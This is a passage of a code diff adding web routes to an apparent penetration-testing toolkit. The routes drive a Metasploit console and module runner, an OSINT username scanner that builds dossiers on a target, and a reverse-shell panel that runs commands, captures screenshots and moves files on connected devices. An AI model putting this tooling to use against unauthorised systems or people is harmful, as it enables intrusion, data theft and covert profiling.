result['host'] = settings.get('host', 'localhost') + result['port'] = settings.get('port', 55553) + except Exception: + pass + return jsonify(result) + except Exception: + return jsonify({'connected': False}) + + +@msf_bp.route('/connect', methods=['POST']) +@login_required +def connect(): + """Reconnect to MSF RPC.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + ok, msg = msf.ensure_connected() + return jsonify({'connected': ok, 'message': msg}) + except Exception as e: + return jsonify({'connected': False, 'error': str(e)}) + + +@msf_bp.route('/console/send', methods=['POST']) +@login_required +def console_send(): + """Send a command to the MSF console and return output.""" + data = request.get_json(silent=True) or {} + cmd = data.get('cmd', '').strip() + if not cmd: + return jsonify({'output': ''}) + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + return jsonify({'error': 'Not connected to MSF RPC'}) + ok, output = msf.run_console_command(cmd) + return jsonify({'output': output, 'ok': ok}) + except Exception as e: + return jsonify({'error': str(e)}) diff --git a/web/routes/offense.py b/web/routes/offense.py new file mode 100644 index 0000000..022856b --- /dev/null +++ b/web/routes/offense.py @@ -0,0 +1,226 @@ +"""Offense category route - MSF status, module search, sessions, module browsing, module execution.""" + +import json +import threading +import uuid +from flask import Blueprint, render_template, request, jsonify, Response +from web.auth import login_required + +_running_jobs: dict = {} # job_id -> threading.Event (stop signal) + +offense_bp = Blueprint('offense', __name__, url_prefix='/offense') + + +@offense_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'offense'} + return render_template('offense.html', modules=modules) + + +@offense_bp.route('/status') +@login_required +def status(): + """Get MSF connection status.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + connected = msf.is_connected + + result = {'connected': connected} + if connected: + try: + settings = msf.manager.get_settings() + result['host'] = settings.get('host', 'localhost') + result['port'] = settings.get('port', 55553) + except Exception: + pass + + return jsonify(result) + except Exception: + return jsonify({'connected': False}) + + +@offense_bp.route('/search', methods=['POST']) +@login_required +def search(): + """Search MSF modules (offline library first, then live if connected).""" + data = request.get_json(silent=True) or {} + query = data.get('query', '').strip() + + if not query: + return jsonify({'error': 'No search query provided'}) + + # Search offline library first + try: + from core.msf_modules import search_modules as offline_search + results = offline_search(query, max_results=30) + modules = [{'path': r['path'], 'name': r.get('name', ''), 'description': r.get('description', '')} for r in results] + except Exception: + modules = [] + + # If no offline results and MSF is connected, try live search + if not modules: + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if msf.is_connected: + live_results = msf.search_modules(query) + modules = [{'path': r, 'name': r.split('/')[-1] if isinstance(r, str) else '', 'description': ''} for r in live_results[:30]] + except Exception: + pass + + return jsonify({'modules': modules}) + + +@offense_bp.route('/sessions') +@login_required +def sessions(): + """List active MSF sessions.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + return jsonify({'sessions': {}, 'error': 'Not connected to MSF'}) + + sessions_data = msf.list_sessions() + # Convert session data to serializable format + result = {} + for sid, sinfo in sessions_data.items(): + if isinstance(sinfo, dict): + result[str(sid)] = sinfo + else: + result[str(sid)] = { + 'type': getattr(sinfo, 'type', ''), + 'tunnel_peer': getattr(sinfo, 'tunnel_peer', ''), + 'info': getattr(sinfo, 'info', ''), + 'target_host': getattr(sinfo, 'target_host', ''), + } + + return jsonify({'sessions': result}) + except Exception as e: + return jsonify({'sessions': {}, 'error': str(e)}) + + +@offense_bp.route('/modules/') +@login_required +def browse_modules(module_type): + """Browse modules by type from offline library.""" + page = request.args.get('page', 1, type=int) + per_page = 20 + + try: + from core.msf_modules import get_modules_by_type + all_modules = get_modules_by_type(module_type) + + start = (page - 1) * per_page + end = start + per_page + page_modules = all_modules[start:end] + + modules = [{'path': m['path'], 'name': m.get('name', '')} for m in page_modules] + + return jsonify({ + 'modules': modules, + 'total': len(all_modules), + 'page': page, + 'has_more': end < len(all_modules), + }) + except Exception as e: + return jsonify({'modules': [], 'error': str(e)}) + + +@offense_bp.route('/module/info', methods=['POST']) +@login_required +def module_info(): + """Get module info.""" + data = request.get_json(silent=True) or {} + module_path = data.get('module_path', '').strip() + + if not module_path: + return jsonify({'error': 'No module path provided'}) + + # Try offline library first + try: + from core.msf_modules import get_module_info + info = get_module_info(module_path) + if info: + return jsonify({ + 'path': module_path, + 'name': info.get('name', ''), + 'description': info.get('description', ''), + 'author': info.get('author', []), + 'platforms': info.get('platforms', []), + 'reliability': info.get('reliability', ''), + 'options': info.get('options', []), + 'notes': info.get('notes', ''), + }) + except Exception: + pass + + # Try live MSF + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if msf.is_connected: + info = msf.get_module_info(module_path) + if info: + return jsonify({ + 'path': module_path, + **info + }) + except Exception: + pass + + return jsonify({'error': f'Module not found: {module_path}'}) + + +@offense_bp.route('/module/run', methods=['POST']) +@login_required +def run_module(): + """Run an MSF module and stream output via SSE.""" + data = request.get_json(silent=True) or {} + module_path = data.get('module_path', '').strip() + options = data.get('options', {}) + if not module_path: + return jsonify({'error': 'No module_path provided'}) + + job_id = str(uuid.uuid4()) + stop_event = threading.Event() + _running_jobs[job_id] = stop_event + + def generate(): + yield f"data: {json.dumps({'status': 'running', 'job_id': job_id})}\n\n" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + yield f"data: {json.dumps({'error': 'Not connected to MSF'})}\n\n" + return + result = msf.run_module(module_path, options) + for line in (result.cleaned_output or '').splitlines(): + if stop_event.is_set(): + break + yield f"data: {json.dumps({'line': line})}\n\n" + yield f"data: {json.dumps({'done': True, 'findings': result.findings, 'services': result.services, 'open_ports': result.open_ports})}\n\n" + except Exception as e: + yield f"data: {json.dumps({'error': str(e)})}\n\n" + finally: + _running_jobs.pop(job_id, None) + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +@offense_bp.route('/module/stop', methods=['POST']) +@login_required +def stop_module(): + """Stop a running module job.""" + data = request.get_json(silent=True) or {} + job_id = data.get('job_id', '') + ev = _running_jobs.get(job_id) + if ev: + ev.set() + return jsonify({'stopped': bool(ev)}) diff --git a/web/routes/osint.py b/web/routes/osint.py new file mode 100644 index 0000000..91227b3 --- /dev/null +++ b/web/routes/osint.py @@ -0,0 +1,550 @@ +"""OSINT category route - advanced search engine with SSE, dossier management, export.""" + +import json +import os +import re +import time +import threading +import urllib.request +import urllib.error +from pathlib import Path +from datetime import datetime +from random import randint +from urllib.parse import urlparse +from concurrent.futures import ThreadPoolExecutor, as_completed + +from flask import Blueprint, render_template, request, Response, current_app, jsonify, stream_with_context +from web.auth import login_required + +osint_bp = Blueprint('osint', __name__, url_prefix='/osint') + +# Dossier storage directory +from core.paths import get_data_dir +DOSSIER_DIR = get_data_dir() / 'dossiers' +DOSSIER_DIR.mkdir(parents=True, exist_ok=True) + +# User agents for rotation +USER_AGENTS = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0', +] + +# WAF / challenge page patterns +WAF_PATTERNS = re.compile( + r'cloudflare|captcha|challenge|please wait|checking your browser|' + r'access denied|blocked|rate limit|too many requests', + re.IGNORECASE +) + +# Not-found generic strings +NOT_FOUND_STRINGS = [ + 'page not found', 'user not found', 'profile not found', 'account not found', + 'no user', 'does not exist', 'doesn\'t exist', '404', 'not exist', + 'could not be found', 'no results', 'this page is not available', +] + +# Found generic strings (with {username} placeholder) +FOUND_STRINGS = [ + '{username}', '@{username}', +] + + +def _check_site(site, username, timeout=8, user_agent=None, proxy=None): + """Check if username exists on a site using detection patterns. + + Returns result dict or None if not found. + """ + try: + time.sleep(randint(5, 50) / 1000) + + url = site['url'].replace('{}', username).replace('{username}', username).replace('{account}', username) + + headers = { + 'User-Agent': user_agent or USER_AGENTS[randint(0, len(USER_AGENTS) - 1)], + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language': 'en-US,en;q=0.9', + 'Connection': 'keep-alive', + } + + req = urllib.request.Request(url, headers=headers) + + # Proxy support + opener = None + if proxy: + proxy_handler = urllib.request.ProxyHandler({'http': proxy, 'https': proxy}) + opener = urllib.request.build_opener(proxy_handler) + + error_type = site.get('error_type', 'status_code') + error_code = site.get('error_code') + error_string = (site.get('error_string') or '').strip() or None + match_string = (site.get('match_string') or '').strip() or None + + try: + if opener: + response = opener.open(req, timeout=timeout) + else: + response = urllib.request.urlopen(req, timeout=timeout) + + status_code = response.getcode() + final_url = response.geturl() + raw_content = response.read() + content = raw_content.decode('utf-8', errors='ignore') + content_lower = content.lower() + content_len = len(content) + + # Extract title + title = '' + title_match = re.search(r']*>([^<]+)', content, re.IGNORECASE) + if title_match: + title = title_match.group(1).strip() + + response.close() + + # WAF/Challenge detection + cf_patterns = ['just a moment', 'checking your browser', 'cf-browser-verification', 'cf_chl_opt'] + if any(p in content_lower for p in cf_patterns): + return { + 'name': site['name'], 'url': url, 'category': site.get('category', ''), + 'status': 'filtered', 'rate': 0, 'title': 'filtered', + } + if WAF_PATTERNS.search(content) and content_len < 5000: + return { + 'name': site['name'], 'url': url, 'category': site.get('category', ''), + 'status': 'filtered', 'rate': 0, 'title': 'filtered', + } + + # Detection + username_lower = username.lower() + not_found_texts = [] + check_texts = [] + + if error_string: + not_found_texts.append(error_string.lower()) + if match_string: + check_texts.append( + match_string.replace('{username}', username).replace('{account}', username).lower() + ) + + # Status code detection + if error_type == 'status_code': + if error_code and status_code == error_code: + return None + if status_code >= 400: + return None + + # Redirect detection + if error_type in ('response_url', 'redirection'): + if final_url != url and username_lower not in final_url.lower(): + parsed = urlparse(final_url) + if parsed.netloc.lower() != urlparse(url).netloc.lower(): + return None + fp_paths = ['login', 'signup', 'register', 'error', '404', 'home'] + if any(fp in final_url.lower() for fp in fp_paths): + return None + + # Pattern matching + not_found_matched = any(nf in content_lower for nf in not_found_texts if nf) + check_matched = any(ct in content_lower for ct in check_texts if ct) + + # Fallback generic patterns + if not not_found_texts: + not_found_matched = any(nf in content_lower for nf in NOT_FOUND_STRINGS) + + if not_found_matched: + return None + + username_in_content = username_lower in content_lower + username_in_title = username_lower in title.lower() if title else False + + # Calculate confidence + if check_matched and (username_in_content or username_in_title): + status = 'good' + rate = min(100, 70 + (10 if username_in_title else 0) + (10 if username_in_content else 0)) + elif check_matched: + status = 'maybe' + rate = 55 + elif username_in_content and status_code == 200: + status = 'maybe' + rate = 45 + elif status_code == 200 and content_len > 1000: + status = 'maybe' + rate = 30 + else: + return None + + if content_len < 500 and not check_matched and not username_in_content: + return None + if rate < 30: + return None + + return { + 'name': site['name'], + 'url': url, + 'category': site.get('category', ''), + 'status': status, + 'rate': rate, + 'title': title[:100] if title else '', + 'http_code': status_code, + 'method': error_type or 'status', + } + + except urllib.error.HTTPError as e: + if error_code and e.code == error_code: + return None + if e.code == 404: + return None + if e.code in [403, 401]: + return { + 'name': site['name'], 'url': url, 'category': site.get('category', ''), + 'status': 'restricted', 'rate': 0, + } + return None + except (urllib.error.URLError, TimeoutError, OSError): + return None + except Exception: + return None + + except Exception: + return None + + +@osint_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'osint'} + + categories = [] + db_stats = {} + try: + from core.sites_db import get_sites_db + db = get_sites_db() + categories = db.get_categories() + db_stats = db.get_stats() + except Exception: + pass + + config = current_app.autarch_config + osint_settings = config.get_osint_settings() + + return render_template('osint.html', + modules=modules, + categories=categories, + osint_settings=osint_settings, + db_stats=db_stats, + ) + + +@osint_bp.route('/categories') +@login_required +def get_categories(): + """Get site categories with counts.""" + try: + from core.sites_db import get_sites_db + db = get_sites_db() + cats = db.get_categories() + return jsonify({'categories': [{'name': c[0], 'count': c[1]} for c in cats]}) + except Exception as e: + return jsonify({'error': str(e), 'categories': []}) + + +@osint_bp.route('/stats') +@login_required +def db_stats(): + """Get sites database statistics.""" + try: + from core.sites_db import get_sites_db + db = get_sites_db() + stats = db.get_stats() + return jsonify(stats) + except Exception as e: + return jsonify({'error': str(e)}) + + +@osint_bp.route('/search/stream') +@login_required +def search_stream(): + """SSE endpoint for real-time OSINT search with proper detection.""" + search_type = request.args.get('type', 'username') + query = request.args.get('q', '').strip() + max_sites = int(request.args.get('max', 500)) + include_nsfw = request.args.get('nsfw', 'false') == 'true' + categories_str = request.args.get('categories', '') + timeout = int(request.args.get('timeout', 8)) + threads = int(request.args.get('threads', 8)) + user_agent = request.args.get('ua', '') or None + proxy = request.args.get('proxy', '') or None + + # Clamp values + timeout = max(3, min(30, timeout)) + threads = max(1, min(20, threads)) + if max_sites == 0: + max_sites = 10000 # "Full" mode + + if not query: + return Response('data: {"error": "No query provided"}\n\n', + content_type='text/event-stream') + + def generate(): + try: + from core.sites_db import get_sites_db + db = get_sites_db() + + cat_filter = [c.strip() for c in categories_str.split(',') if c.strip()] if categories_str else None + + sites = db.get_sites_for_scan( + categories=cat_filter, + include_nsfw=include_nsfw, + max_sites=max_sites, + ) + + total = len(sites) + yield f'data: {json.dumps({"type": "start", "total": total})}\n\n' + + checked = 0 + found = 0 + maybe = 0 + filtered = 0 + results_list = [] + + # Use ThreadPoolExecutor for concurrent scanning + with ThreadPoolExecutor(max_workers=threads) as executor: + future_to_site = {} + for site in sites: + future = executor.submit( + _check_site, site, query, + timeout=timeout, + user_agent=user_agent, + proxy=proxy, + ) + future_to_site[future] = site + + for future in as_completed(future_to_site): + checked += 1 + site = future_to_site[future] + result_data = { + 'type': 'result', + 'site': site['name'], + 'category': site.get('category', ''), + 'checked': checked, + 'total': total, + 'status': 'not_found', + } + + try: + result = future.result() + if result: + result_data['status'] = result.get('status', 'not_found') + result_data['url'] = result.get('url', '') + result_data['rate'] = result.get('rate', 0) + result_data['title'] = result.get('title', '') + result_data['http_code'] = result.get('http_code', 0) + result_data['method'] = result.get('method', '') + + if result['status'] == 'good': + found += 1 + results_list.append(result) + elif result['status'] == 'maybe': + maybe += 1 + results_list.append(result) + elif result['status'] == 'filtered': + filtered += 1 + except Exception: + result_data['status'] = 'error' + + yield f'data: {json.dumps(result_data)}\n\n' + + yield f'data: {json.dumps({"type": "done", "total": total, "checked": checked, "found": found, "maybe": maybe, "filtered": filtered})}\n\n' + + except Exception as e: + yield f'data: {json.dumps({"type": "error", "message": str(e)})}\n\n' + + return Response(stream_with_context(generate()), content_type='text/event-stream') + + +# ==================== DOSSIER MANAGEMENT ==================== + +def _load_dossier(dossier_id): + """Load a dossier from disk.""" + path = DOSSIER_DIR / f'{dossier_id}.json' + if not path.exists(): + return None + with open(path) as f: + return json.load(f) + + +def _save_dossier(dossier): + """Save a dossier to disk.""" + path = DOSSIER_DIR / f'{dossier["id"]}.json' + with open(path, 'w') as f: + json.dump(dossier, f, indent=2) + + +def _list_dossiers(): + """List all dossiers.""" + dossiers = [] + for f in sorted(DOSSIER_DIR.glob('*.json'), key=lambda p: p.stat().st_mtime, reverse=True): + try: + with open(f) as fh: + d = json.load(fh) + dossiers.append({ + 'id': d['id'], + 'name': d['name'], + 'target': d.get('target', ''), + 'created': d.get('created', ''), + 'updated': d.get('updated', ''), + 'result_count': len(d.get('results', [])), + 'notes': d.get('notes', '')[:100], + }) + except Exception: + continue + return dossiers + + +@osint_bp.route('/dossiers') +@login_required +def list_dossiers(): + """List all dossiers.""" + return jsonify({'dossiers': _list_dossiers()}) + + +@osint_bp.route('/dossier', methods=['POST']) +@login_required +def create_dossier(): + """Create a new dossier.""" + data = request.get_json(silent=True) or {} + name = data.get('name', '').strip() + target = data.get('target', '').strip() + + if not name: + return jsonify({'error': 'Dossier name required'}) + + dossier_id = datetime.now().strftime('%Y%m%d_%H%M%S') + dossier = { + 'id': dossier_id, + 'name': name, + 'target': target, + 'created': datetime.now().isoformat(), + 'updated': datetime.now().isoformat(), + 'notes': '', + 'results': [], + } + _save_dossier(dossier) + return jsonify({'success': True, 'dossier': dossier}) + + +@osint_bp.route('/dossier/') +@login_required +def get_dossier(dossier_id): + """Get dossier details.""" + dossier = _load_dossier(dossier_id) + if not dossier: + return jsonify({'error': 'Dossier not found'}) + return jsonify({'dossier': dossier}) + + +@osint_bp.route('/dossier/', methods=['PUT']) +@login_required +def update_dossier(dossier_id): + """Update dossier (notes, name).""" + dossier = _load_dossier(dossier_id) + if not dossier: + return jsonify({'error': 'Dossier not found'}) + + data = request.get_json(silent=True) or {} + if 'name' in data: + dossier['name'] = data['name'] + if 'notes' in data: + dossier['notes'] = data['notes'] + dossier['updated'] = datetime.now().isoformat() + _save_dossier(dossier) + return jsonify({'success': True}) + + +@osint_bp.route('/dossier/', methods=['DELETE']) +@login_required +def delete_dossier(dossier_id): + """Delete a dossier.""" + path = DOSSIER_DIR / f'{dossier_id}.json' + if path.exists(): + path.unlink() + return jsonify({'success': True}) + return jsonify({'error': 'Dossier not found'}) + + +@osint_bp.route('/dossier//add', methods=['POST']) +@login_required +def add_to_dossier(dossier_id): + """Add search results to a dossier.""" + dossier = _load_dossier(dossier_id) + if not dossier: + return jsonify({'error': 'Dossier not found'}) + + data = request.get_json(silent=True) or {} + results = data.get('results', []) + + if not results: + return jsonify({'error': 'No results to add'}) + + existing_urls = {r.get('url') for r in dossier['results']} + added = 0 + for r in results: + if r.get('url') and r['url'] not in existing_urls: + dossier['results'].append({ + 'name': r.get('name', ''), + 'url': r['url'], + 'category': r.get('category', ''), + 'status': r.get('status', ''), + 'rate': r.get('rate', 0), + 'added': datetime.now().isoformat(), + }) + existing_urls.add(r['url']) + added += 1 + + dossier['updated'] = datetime.now().isoformat() + _save_dossier(dossier) + return jsonify({'success': True, 'added': added, 'total': len(dossier['results'])}) + + +# ==================== EXPORT ==================== + +@osint_bp.route('/export', methods=['POST']) +@login_required +def export_results(): + """Export search results in various formats.""" + data = request.get_json(silent=True) or {} + results = data.get('results', []) + fmt = data.get('format', 'json') + query = data.get('query', 'unknown') + + if not results: + return jsonify({'error': 'No results to export'}) + + export_dir = get_data_dir() / 'exports' + export_dir.mkdir(parents=True, exist_ok=True) + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + + if fmt == 'csv': + filename = f'osint_{query}_{timestamp}.csv' + filepath = export_dir / filename + lines = ['Site,URL,Category,Status,Confidence'] + for r in results: + line = f'{r.get("name","")},{r.get("url","")},{r.get("category","")},{r.get("status","")},{r.get("rate",0)}' + lines.append(line) + filepath.write_text('\n'.join(lines)) + else: + filename = f'osint_{query}_{timestamp}.json' + filepath = export_dir / filename + export_data = { + 'query': query, + 'exported': datetime.now().isoformat(), + 'total_results': len(results), + 'results': results, + } + filepath.write_text(json.dumps(export_data, indent=2)) + + return jsonify({'success': True, 'filename': filename, 'path': str(filepath)}) diff --git a/web/routes/revshell.py b/web/routes/revshell.py new file mode 100644 index 0000000..ff85d42 --- /dev/null +++ b/web/routes/revshell.py @@ -0,0 +1,274 @@ +"""Reverse Shell routes — listener management, session control, command execution.""" + +import base64 +import io +from flask import Blueprint, render_template, request, jsonify, send_file, Response +from web.auth import login_required + +revshell_bp = Blueprint('revshell', __name__, url_prefix='/revshell') + + +def _listener(): + from core.revshell import get_listener + return get_listener() + + +def _json(): + return request.get_json(silent=True) or {} + + +# ── Main Page ──────────────────────────────────────────────────────── + +@revshell_bp.route('/') +@login_required +def index(): + listener = _listener() + return render_template('revshell.html', + running=listener.running, + token=listener.auth_token, + port=listener.port, + sessions=listener.list_sessions()) + + +# ── Listener Control ───────────────────────────────────────────────── + +@revshell_bp.route('/listener/start', methods=['POST']) +@login_required +def listener_start(): + data = _json() + port = data.get('port', 17322) + token = data.get('token', None) + host = data.get('host', '0.0.0.0') + + from core.revshell import start_listener + ok, msg = start_listener(host=host, port=int(port), token=token) + return jsonify({'success': ok, 'message': msg, 'token': _listener().auth_token}) + + +@revshell_bp.route('/listener/stop', methods=['POST']) +@login_required +def listener_stop(): + from core.revshell import stop_listener + stop_listener() + return jsonify({'success': True, 'message': 'Listener stopped'}) + + +@revshell_bp.route('/listener/status', methods=['POST']) +@login_required +def listener_status(): + listener = _listener() + return jsonify({ + 'running': listener.running, + 'port': listener.port, + 'token': listener.auth_token, + 'host': listener.host, + 'session_count': len(listener.active_sessions), + }) + + +# ── Sessions ───────────────────────────────────────────────────────── + +@revshell_bp.route('/sessions', methods=['POST']) +@login_required +def list_sessions(): + return jsonify({'sessions': _listener().list_sessions()}) + + +@revshell_bp.route('/session//disconnect', methods=['POST']) +@login_required +def disconnect_session(sid): + _listener().remove_session(sid) + return jsonify({'success': True, 'message': f'Session {sid} disconnected'}) + + +@revshell_bp.route('/session//info', methods=['POST']) +@login_required +def session_info(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + return jsonify({'success': True, 'session': session.to_dict()}) + + +# ── Command Execution ──────────────────────────────────────────────── + +@revshell_bp.route('/session//execute', methods=['POST']) +@login_required +def execute_command(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + + data = _json() + cmd = data.get('cmd', '') + timeout = data.get('timeout', 30) + + if not cmd: + return jsonify({'success': False, 'message': 'No command specified'}) + + result = session.execute(cmd, timeout=int(timeout)) + return jsonify({ + 'success': result['exit_code'] == 0, + 'stdout': result['stdout'], + 'stderr': result['stderr'], + 'exit_code': result['exit_code'], + }) + + +# ── Special Commands ───────────────────────────────────────────────── + +@revshell_bp.route('/session//sysinfo', methods=['POST']) +@login_required +def device_sysinfo(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + result = session.sysinfo() + return jsonify({'success': result['exit_code'] == 0, **result}) + + +@revshell_bp.route('/session//packages', methods=['POST']) +@login_required +def device_packages(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + result = session.packages() + return jsonify({'success': result['exit_code'] == 0, **result}) + + +@revshell_bp.route('/session//screenshot', methods=['POST']) +@login_required +def device_screenshot(sid): + listener = _listener() + filepath = listener.save_screenshot(sid) + if filepath: + return jsonify({'success': True, 'path': filepath}) + return jsonify({'success': False, 'message': 'Screenshot failed'}) + + +@revshell_bp.route('/session//screenshot/view', methods=['GET']) +@login_required +def view_screenshot(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return 'Session not found', 404 + png_data = session.screenshot() + if not png_data: + return 'Screenshot failed', 500 + return send_file(io.BytesIO(png_data), mimetype='image/png', + download_name=f'screenshot_{sid}.png') + + +@revshell_bp.route('/session//processes', methods=['POST']) +@login_required +def device_processes(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + result = session.processes() + return jsonify({'success': result['exit_code'] == 0, **result}) + + +@revshell_bp.route('/session//netstat', methods=['POST']) +@login_required +def device_netstat(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + result = session.netstat() + return jsonify({'success': result['exit_code'] == 0, **result}) + + +@revshell_bp.route('/session//logcat', methods=['POST']) +@login_required +def device_logcat(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + data = _json() + lines = data.get('lines', 100) + result = session.dumplog(lines=int(lines)) + return jsonify({'success': result['exit_code'] == 0, **result}) + + +@revshell_bp.route('/session//download', methods=['POST']) +@login_required +def download_file(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + + data = _json() + remote_path = data.get('path', '') + if not remote_path: + return jsonify({'success': False, 'message': 'No path specified'}) + + filepath = _listener().save_download(sid, remote_path) + if filepath: + return jsonify({'success': True, 'path': filepath}) + return jsonify({'success': False, 'message': 'Download failed'}) + + +@revshell_bp.route('/session//upload', methods=['POST']) +@login_required +def upload_file(sid): + session = _listener().get_session(sid) + if not session or not session.alive: + return jsonify({'success': False, 'message': 'Session not found or dead'}) + + remote_path = request.form.get('path', '') + if not remote_path: + return jsonify({'success': False, 'message': 'No remote path specified'}) + + uploaded = request.files.get('file') + if not uploaded: + return jsonify({'success': False, 'message': 'No file uploaded'}) + + # Save temp, upload, cleanup + import tempfile + tmp = tempfile.NamedTemporaryFile(delete=False) + try: + uploaded.save(tmp.name) + result = session.upload(tmp.name, remote_path) + return jsonify({ + 'success': result['exit_code'] == 0, + 'stdout': result['stdout'], + 'stderr': result['stderr'], + }) + finally: + try: + import os + os.unlink(tmp.name) + except Exception: + pass + + +# ── SSE Stream for Interactive Shell ───────────────────────────────── + +@revshell_bp.route('/session//stream') +@login_required +def shell_stream(sid): + """SSE endpoint for streaming command output.""" + session = _listener().get_session(sid) + if not session or not session.alive: + return 'Session not found', 404 + + def generate(): + yield f"data: {jsonify_str({'type': 'connected', 'session': session.to_dict()})}\n\n" + # The stream stays open; the client sends commands via POST /execute + # and reads results. This SSE is mainly for status updates. + while session.alive: + import time + time.sleep(5) + yield f"data: {jsonify_str({'type': 'heartbeat', 'alive': session.alive, 'uptime': int(session.uptime)})}\n\n" + yield f"data: {jsonify_str({'type': 'disconnected'})}\n\n" + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +def jsonify_str(obj): + """JSON serialize without Flask response wrapper.""" + import json + return json.dumps(obj) diff --git a/web/routes/settings.py b/web/routes/settings.py new file mode 100644 index 0000000..1eb65a8 --- /dev/null +++ b/web/routes/settings.py @@ -0,0 +1,477 @@ +"""Settings route""" + +import collections +import json +import logging +import os +import threading +import time +from pathlib import Path + +from flask import Blueprint, render_template, request, redirect, url_for, flash, jsonify, current_app, Response +from web.auth import login_required, hash_password, save_credentials, load_credentials + +# ── Debug Console infrastructure ───────────────────────────────────────────── + +_debug_buffer: collections.deque = collections.deque(maxlen=2000) +_debug_enabled: bool = False +_debug_handler_installed: bool = False + + +class _DebugBufferHandler(logging.Handler): + """Captures log records into the in-memory debug buffer.""" + + def emit(self, record: logging.LogRecord) -> None: + if not _debug_enabled: + return + try: + entry: dict = { + 'ts': record.created, + 'level': record.levelname, + 'name': record.name, + 'raw': record.getMessage(), + 'msg': self.format(record), + } + if record.exc_info: + import traceback as _tb + entry['exc'] = ''.join(_tb.format_exception(*record.exc_info)) + _debug_buffer.append(entry) + except Exception: + pass + + +def _ensure_debug_handler() -> None: + global _debug_handler_installed + if _debug_handler_installed: + return + handler = _DebugBufferHandler() + handler.setLevel(logging.DEBUG) + handler.setFormatter(logging.Formatter('%(name)s — %(message)s')) + root = logging.getLogger() + root.addHandler(handler) + # Lower root level to DEBUG so records reach the handler + if root.level == logging.NOTSET or root.level > logging.DEBUG: + root.setLevel(logging.DEBUG) + _debug_handler_installed = True + +settings_bp = Blueprint('settings', __name__, url_prefix='/settings') + + +@settings_bp.route('/') +@login_required +def index(): + config = current_app.autarch_config + return render_template('settings.html', + llm_backend=config.get('autarch', 'llm_backend', 'local'), + llama=config.get_llama_settings(), + transformers=config.get_transformers_settings(), + claude=config.get_claude_settings(), + huggingface=config.get_huggingface_settings(), + osint=config.get_osint_settings(), + pentest=config.get_pentest_settings(), + upnp=config.get_upnp_settings(), + debug_enabled=_debug_enabled, + ) + + +@settings_bp.route('/password', methods=['POST']) +@login_required +def change_password(): + new_pass = request.form.get('new_password', '') + confirm = request.form.get('confirm_password', '') + + if not new_pass or len(new_pass) < 4: + flash('Password must be at least 4 characters.', 'error') + return redirect(url_for('settings.index')) + + if new_pass != confirm: + flash('Passwords do not match.', 'error') + return redirect(url_for('settings.index')) + + creds = load_credentials() + save_credentials(creds['username'], hash_password(new_pass), force_change=False) + flash('Password updated.', 'success') + return redirect(url_for('settings.index')) + + +@settings_bp.route('/osint', methods=['POST']) +@login_required +def update_osint(): + config = current_app.autarch_config + config.set('osint', 'max_threads', request.form.get('max_threads', '8')) + config.set('osint', 'timeout', request.form.get('timeout', '8')) + config.set('osint', 'include_nsfw', 'true' if request.form.get('include_nsfw') else 'false') + config.save() + flash('OSINT settings updated.', 'success') + return redirect(url_for('settings.index')) + + +@settings_bp.route('/upnp', methods=['POST']) +@login_required +def update_upnp(): + config = current_app.autarch_config + config.set('upnp', 'enabled', 'true' if request.form.get('enabled') else 'false') + config.set('upnp', 'internal_ip', request.form.get('internal_ip', '10.0.0.26')) + config.set('upnp', 'refresh_hours', request.form.get('refresh_hours', '12')) + config.set('upnp', 'mappings', request.form.get('mappings', '')) + config.save() + flash('UPnP settings updated.', 'success') + return redirect(url_for('settings.index')) + + +@settings_bp.route('/llm', methods=['POST']) +@login_required +def update_llm(): + config = current_app.autarch_config + backend = request.form.get('backend', 'local') + + if backend == 'local': + config.set('llama', 'model_path', request.form.get('model_path', '')) + config.set('llama', 'n_ctx', request.form.get('n_ctx', '4096')) + config.set('llama', 'n_threads', request.form.get('n_threads', '4')) + config.set('llama', 'n_gpu_layers', request.form.get('n_gpu_layers', '0')) + config.set('llama', 'n_batch', request.form.get('n_batch', '512')) + config.set('llama', 'temperature', request.form.get('temperature', '0.7')) + config.set('llama', 'top_p', request.form.get('top_p', '0.9')) + config.set('llama', 'top_k', request.form.get('top_k', '40')) + config.set('llama', 'repeat_penalty', request.form.get('repeat_penalty', '1.1')) + 